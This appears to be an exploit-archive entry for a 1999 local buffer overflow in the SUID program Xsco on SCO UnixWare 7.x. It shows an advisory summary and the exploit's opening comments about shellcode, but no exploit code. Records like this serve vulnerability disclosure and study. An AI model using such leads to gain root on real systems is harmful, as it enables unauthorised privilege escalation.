Description: SCO Unixware 7.0/7.0.1/7.1 - Xsco Buffer Overflow
Type: local
Platform: sco
Date: 1999-11-25
Author: K2

Exploit:
// source: https://www.securityfocus.com/bid/824/info

Under certain versions of Unixware, the SUID program Xsco is vulnerable to a buffer overflow attack. The problem lies in that Xsco does not sanity check user supplied data. 

// UnixWare7 /usr/X/bin/Xsco local, K2/cheez
//
// Xsco produces some strange side effect's with the execve; it seems
// that commands can not be run interactively.  Thanks to cheez for the
// shellcode.
